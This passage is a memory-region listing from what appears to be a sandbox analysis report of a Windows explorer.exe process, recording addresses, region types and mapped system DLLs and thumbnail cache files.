"pagefile_0x00000000041a0000" filename = "" Region: id = 1889 start_va = 0x41b0000 end_va = 0x422ffff entry_point = 0x0 region_type = private name = "private_0x00000000041b0000" filename = "" Region: id = 1890 start_va = 0x4230000 end_va = 0x4230fff entry_point = 0x0 region_type = private name = "private_0x0000000004230000" filename = "" Region: id = 1891 start_va = 0x4240000 end_va = 0x4240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004240000" filename = "" Region: id = 1892 start_va = 0x42d0000 end_va = 0x42d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042d0000" filename = "" Region: id = 1893 start_va = 0x42e0000 end_va = 0x42e6fff entry_point = 0x42e0000 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 1894 start_va = 0x42f0000 end_va = 0x42f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042f0000" filename = "" Region: id = 1895 start_va = 0x4300000 end_va = 0x437ffff entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 1896 start_va = 0x4380000 end_va = 0x457ffff entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 1897 start_va = 0x4580000 end_va = 0x4581fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004580000" filename = "" Region: id = 1898 start_va = 0x45f0000 end_va = 0x45fffff entry_point = 0x0 region_type = private name = "private_0x00000000045f0000" filename = "" Region: id = 1899 start_va = 0x46a0000 end_va = 0x471ffff entry_point = 0x0 region_type = private name = "private_0x00000000046a0000" filename = "" Region: id = 1900 start_va = 0x47e0000 end_va = 0x485ffff entry_point = 0x0 region_type = private name = "private_0x00000000047e0000" filename = "" Region: id = 1901 start_va = 0x4860000 end_va = 0x48dffff entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 1902 start_va = 0x48e0000 end_va = 0x5c34fff entry_point = 0x48e0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1903 start_va = 0x5c40000 end_va = 0x6042fff entry_point = 0x0 region_type = private name = "private_0x0000000005c40000" filename = "" Region: id = 1904 start_va = 0x60d0000 end_va = 0x614ffff entry_point = 0x0 region_type = private name = "private_0x00000000060d0000" filename = "" Region: id = 1905 start_va = 0x61f0000 end_va = 0x626ffff entry_point = 0x0 region_type = private name = "private_0x00000000061f0000" filename = "" Region: id = 1906 start_va = 0x6270000 end_va = 0x62effff entry_point = 0x0 region_type = private name = "private_0x0000000006270000" filename = "" Region: id = 1907 start_va = 0x6300000 end_va = 0x637ffff entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 1908 start_va = 0x6450000 end_va = 0x654ffff entry_point = 0x6450000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 1909 start_va = 0x6550000 end_va = 0x664ffff entry_point = 0x6550000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 1910 start_va = 0x66d0000 end_va = 0x674ffff entry_point = 0x0 region_type = private name = "private_0x00000000066d0000" filename = "" Region: id = 1911 start_va = 0x67c0000 end_va = 0x683ffff entry_point = 0x0 region_type = private name = "private_0x00000000067c0000" filename = "" Region: id = 1912 start_va = 0x68e0000 end_va = 0x699ffff entry_point = 0x68e0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1913 start_va = 0x69e0000 end_va = 0x6a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000069e0000" filename = "" Region: id = 1914 start_va = 0x6b40000 end_va = 0x6bbffff entry_point = 0x0 region_type = private name = "private_0x0000000006b40000" filename = "" Region: id = 1915 start_va = 0x6bf0000 end_va = 0x6c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000006bf0000" filename = "" Region: id = 1916 start_va = 0x6cd0000 end_va = 0x6d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000006cd0000" filename = "" Region: id = 1917 start_va = 0x6d50000 end_va = 0x6dcffff entry_point = 0x0 region_type = private name = "private_0x0000000006d50000" filename = "" Region: id = 1918 start_va = 0x6df0000 end_va = 0x6e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000006df0000" filename = "" Region: id = 1919 start_va = 0x6e70000 end_va = 0x6f56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006e70000" filename = "" Region: id = 1920 start_va = 0x6fb0000 end_va = 0x6fbffff entry_point = 0x0 region_type = private name = "private_0x0000000006fb0000" filename = "" Region: id = 1921 start_va = 0x6fc0000 end_va = 0x70bffff entry_point = 0x0 region_type = private name = "private_0x0000000006fc0000" filename = "" Region: id = 1922 start_va = 0x70c0000 end_va = 0x713ffff entry_point = 0x0 region_type = private name = "private_0x00000000070c0000" filename = "" Region: id = 1923 start_va = 0x7190000 end_va = 0x720ffff entry_point = 0x0 region_type = private name = "private_0x0000000007190000" filename = "" Region: id = 1924 start_va = 0x7220000 end_va = 0x729ffff entry_point = 0x0 region_type = private name = "private_0x0000000007220000" filename = "" Region: id = 1925 start_va = 0x72b0000 end_va = 0x732ffff entry_point = 0x0 region_type = private name = "private_0x00000000072b0000" filename = "" Region: id = 1926 start_va = 0x7330000 end_va = 0x772ffff entry_point = 0x0 region_type = private name = "private_0x0000000007330000" filename = "" Region: id = 1927 start_va = 0x7730000 end_va = 0x7a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000007730000" filename = "" Region: id = 1928 start_va = 0x8a30000 end_va = 0x8b2ffff entry_point = 0x8a30000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 1929 start_va = 0x8b30000 end_va = 0x8c2ffff entry_point = 0x8b30000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 1930 start_va = 0x8c30000 end_va = 0x8d2ffff entry_point = 0x8c30000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 1931 start_va = 0x73860000 end_va = 0x73865fff entry_point = 0x73860000 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 1932 start_va = 0x75130000 end_va = 0x75212fff entry_point = 0x75130000 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 1933 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1934 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1935 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1936 start_va = 0x777a0000 end_va = 0x777a6fff entry_point = 0x777a0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1937 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1938 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1939 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1940 start_va = 0xffe60000 end_va = 0x10011ffff entry_point = 0xffe60000 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 1941 start_va = 0x7fee2f30000 end_va = 0x7fee2fa2fff entry_point = 0x7fee2f30000 region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll") Region: id = 1942 start_va = 0x7fee2fb0000 end_va = 0x7fee2fbafff entry_point = 0x7fee2fb0000 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 1943 start_va = 0x7fee2fc0000 end_va = 0x7fee2fd8fff entry_point = 0x7fee2fc0000 region_type = mapped_file name = "wercplsupport.dll" filename = "\\Windows\\System32\\wercplsupport.dll" (normalized: "c:\\windows\\system32\\wercplsupport.dll") Region: id = 1944 start_va = 0x7fee2fe0000 end_va = 0x7fee302bfff entry_point = 0x7fee2fe0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1945 start_va = 0x7fee3030000 end_va = 0x7fee316bfff entry_point = 0x7fee3030000 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 1946 start_va = 0x7fee3170000 end_va = 0x7fee328efff entry_point = 0x7fee3170000 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 1947 start_va = 0x7fee3290000 end_va = 0x7fee32a2fff entry_point = 0x7fee3290000 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 1948 start_va = 0x7fef2db0000 end_va = 0x7fef2e86fff entry_point = 0x7fef2db0000 region_type = mapped_file name = "searchfolder.dll" filename = "\\Windows\\System32\\SearchFolder.dll" (normalized: "c:\\windows\\system32\\searchfolder.dll") Region: id = 1949 start_va = 0x7fef32a0000 end_va = 0x7fef333cfff entry_point = 0x7fef32a0000 region_type = mapped_file name = "fxsapi.dll" filename = "\\Windows\\System32\\FXSAPI.dll" (normalized: "c:\\windows\\system32\\fxsapi.dll") Region: id = 1950 start_va = 0x7fef3340000 end_va = 0x7fef3416fff entry_point = 0x7fef3340000 region_type = mapped_file name = "fxsst.dll" filename = "\\Windows\\System32\\FXSST.dll" (normalized: "c:\\windows\\system32\\fxsst.dll") Region: id = 1951 start_va = 0x7fef3420000 end_va = 0x7fef3450fff entry_point = 0x7fef3420000 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 1952 start_va = 0x7fef3460000 end_va = 0x7fef34b4fff entry_point = 0x7fef3460000 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 1953 start_va = 0x7fef34c0000 end_va = 0x7fef353efff entry_point = 0x7fef34c0000 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 1954 start_va = 0x7fef3540000 end_va = 0x7fef3601fff entry_point = 0x7fef3540000 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 1955 start_va = 0x7fef3610000 end_va = 0x7fef383afff entry_point = 0x7fef3610000 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 1956 start_va = 0x7fef3840000 end_va = 0x7fef3893fff entry_point = 0x7fef3840000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 1957 start_va = 0x7fef38a0000 end_va = 0x7fef4456fff entry_point = 0x7fef38a0000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 1958 start_va = 0x7fef4460000 end_va = 0x7fef4514fff entry_point = 0x7fef4460000 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 1959 start_va = 0x7fef4520000 end_va = 0x7fef4577fff entry_point = 0x7fef4520000 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 1960 start_va = 0x7fef4580000 end_va = 0x7fef45c4fff entry_point = 0x7fef4580000 region_type = mapped_file name = "qagent.dll" filename = "\\Windows\\System32\\QAGENT.DLL" (normalized: "c:\\windows\\system32\\qagent.dll") Region: id = 1961 start_va = 0x7fef45d0000 end_va = 0x7fef460efff entry_point = 0x7fef45d0000 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 1962 start_va = 0x7fef4610000 end_va = 0x7fef466dfff entry_point = 0x7fef4610000 region_type = mapped_file name = "wwanapi.dll" filename = "\\Windows\\System32\\WWanAPI.dll" (normalized: "c:\\windows\\system32\\wwanapi.dll") Region: id = 1963 start_va = 0x7fef4670000 end_va = 0x7fef468ffff entry_point = 0x7fef4670000 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1964 start_va = 0x7fef4690000 end_va = 0x7fef469cfff entry_point = 0x7fef4690000 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 1965 start_va = 0x7fef46a0000 end_va = 0x7fef46a6fff entry_point = 0x7fef46a0000 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 1966 start_va = 0x7fef4880000 end_va = 0x7fef489efff entry_point = 0x7fef4880000 region_type = mapped_file name = "qutil.dll" filename = "\\Windows\\System32\\QUTIL.DLL" (normalized: "c:\\windows\\system32\\qutil.dll") Region: id = 1967 start_va = 0x7fef48a0000 end_va = 0x7fef4a5cfff entry_point = 0x7fef48a0000 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 1968 start_va = 0x7fef4a60000 end_va = 0x7fef4a98fff entry_point = 0x7fef4a60000 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 1969 start_va = 0x7fef4aa0000 end_va = 0x7fef4abffff entry_point = 0x7fef4aa0000 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 1970 start_va = 0x7fef4ac0000 end_va = 0x7fef4acffff entry_point = 0x7fef4ac0000 region_type = mapped_file name = "alttab.dll" filename = "\\Windows\\System32\\AltTab.dll" (normalized: "c:\\windows\\system32\\alttab.dll") Region: id = 1971 start_va = 0x7fef4ad0000 end_va = 0x7fef4d5afff entry_point = 0x7fef4ad0000 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 1972 start_va = 0x7fef4d60000 end_va = 0x7fef4dd3fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 1973 start_va = 0x7fef4de0000 end_va = 0x7fef4e50fff entry_point = 0x7fef4de0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1974 start_va = 0x7fef4e60000 end_va = 0x7fef4f19fff entry_point = 0x7fef4e60000 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 1975 start_va = 0x7fef4f20000 end_va = 0x7fef4fe5fff entry_point = 0x7fef4f20000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 1976 start_va = 0x7fef4ff0000 end_va = 0x7fef5010fff entry_point = 0x7fef4ff0000 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 1977 start_va = 0x7fef50a0000 end_va = 0x7fef515cfff entry_point = 0x7fef50a0000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 1978 start_va = 0x7fef5240000 end_va = 0x7fef5267fff entry_point = 0x7fef5240000 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 1979 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1980 start_va = 0x7fef60d0000 end_va = 0x7fef60d8fff entry_point = 0x7fef60d0000 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 1981 start_va = 0x7fef60e0000 end_va = 0x7fef60f7fff entry_point = 0x7fef60e0000 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 1982 start_va = 0x7fef6100000 end_va = 0x7fef6109fff entry_point = 0x7fef6100000 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 1983 start_va = 0x7fef6340000 end_va = 0x7fef638efff entry_point = 0x7fef6340000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 1984 start_va = 0x7fef6590000 end_va = 0x7fef65cafff entry_point = 0x7fef6590000 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 1985 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1986 start_va = 0x7fef6850000 end_va = 0x7fef688afff entry_point = 0x7fef6850000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 1987 start_va = 0x7fef7800000 end_va = 0x7fef799bfff entry_point = 0x7fef7800000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 1988 start_va = 0x7fef79a0000 end_va = 0x7fef79befff entry_point = 0x7fef79a0000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 1989 start_va = 0x7fef7e00000 end_va = 0x7fef7e7efff entry_point = 0x7fef7e00000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 1990 start_va = 0x7fef7e80000 end_va = 0x7fef7ebafff entry_point = 0x7fef7e80000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 1991 start_va = 0x7fef7ec0000 end_va = 0x7fef7ecafff entry_point = 0x7fef7ec0000 region_type = mapped_file name = "ehsso.dll" filename = "\\Windows\\ehome\\ehSSO.dll" (normalized: "c:\\windows\\ehome\\ehsso.dll") Region: id = 1992 start_va = 0x7fef7ed0000 end_va = 0x7fef7f38fff entry_point = 0x7fef7ed0000 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 1993 start_va = 0x7fef7f40000 end_va = 0x7fef7f82fff entry_point = 0x7fef7f40000 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 1994 start_va = 0x7fef7f90000 end_va = 0x7fef7f98fff entry_point = 0x7fef7f90000 region_type = mapped_file name = "msiltcfg.dll" filename = "\\Windows\\System32\\msiltcfg.dll" (normalized: "c:\\windows\\system32\\msiltcfg.dll") Region: id = 1995 start_va = 0x7fef7fa0000 end_va = 0x7fef801bfff entry_point = 0x7fef7fa0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1996 start_va = 0x7fef8020000 end_va = 0x7fef82c2fff entry_point = 0x7fef8020000 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" (normalized: "c:\\windows\\system32\\gameux.dll") Region: id = 1997 start_va = 0x7fef82d0000 end_va = 0x7fef82dbfff entry_point = 0x7fef82d0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 1998 start_va = 0x7fef82e0000 end_va = 0x7fef8313fff entry_point = 0x7fef82e0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 1999 start_va = 0x7fef8830000 end_va = 0x7fef891dfff entry_point = 0x7fef8830000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 2000 start_va = 0x7fef8920000 end_va = 0x7fef89a2fff entry_point = 0x7fef8920000 region_type = mapped_file name = "timedate.cpl" filename = "\\Windows\\System32\\timedate.cpl" (normalized: "c:\\windows\\system32\\timedate.cpl") Region: id = 2001 start_va = 0x7fef8c50000 end_va = 0x7fef8c8afff entry_point = 0x7fef8c50000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 2002 start_va = 0x7fef8d60000 end_va = 0x7fef8d67fff entry_point = 0x7fef8d60000 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 2003 start_va = 0x7fef8d70000 end_va = 0x7fef8deffff entry_point = 0x7fef8d70000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 2004 start_va = 0x7fef8e70000 end_va = 0x7fef8e7efff entry_point = 0x7fef8e70000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2005 start_va = 0x7fef8e80000 end_va = 0x7fef8e8bfff entry_point = 0x7fef8e80000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 2006 start_va = 0x7fef8e90000 end_va = 0x7fef8f0dfff entry_point = 0x7fef8e90000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 2007 start_va = 0x7fef8f10000 end_va = 0x7fef8f44fff entry_point = 0x7fef8f10000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 2008 start_va = 0x7fef8f50000 end_va = 0x7fef97d1fff entry_point = 0x7fef8f50000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll") Region: id = 2009 start_va = 0x7fef97e0000 end_va = 0x7fef99fcfff entry_point = 0x7fef97e0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2010 start_va = 0x7fef9a00000 end_va = 0x7fef9d15fff entry_point = 0x7fef9a00000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2011 start_va = 0x7fef9d20000 end_va = 0x7fef9d22fff entry_point = 0x7fef9d20000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 2012 start_va = 0x7fef9d30000 end_va = 0x7fef9d32fff entry_point = 0x7fef9d30000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 2013 start_va = 0x7fef9d40000 end_va = 0x7fef9d42fff entry_point = 0x7fef9d40000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 2014 start_va = 0x7fef9d50000 end_va = 0x7fef9d52fff entry_point = 0x7fef9d50000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 2015 start_va = 0x7fef9d60000 end_va = 0x7fef9d64fff entry_point = 0x7fef9d60000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 2016 start_va = 0x7fef9d70000 end_va = 0x7fef9d74fff entry_point = 0x7fef9d70000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 2017 start_va = 0x7fef9d80000 end_va = 0x7fef9d82fff entry_point = 0x7fef9d80000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 2018 start_va = 0x7fef9d90000 end_va = 0x7fef9e2bfff entry_point = 0x7fef9d90000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 2019 start_va = 0x7fef9e30000 end_va = 0x7fef9e33fff entry_point = 0x7fef9e30000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 2020 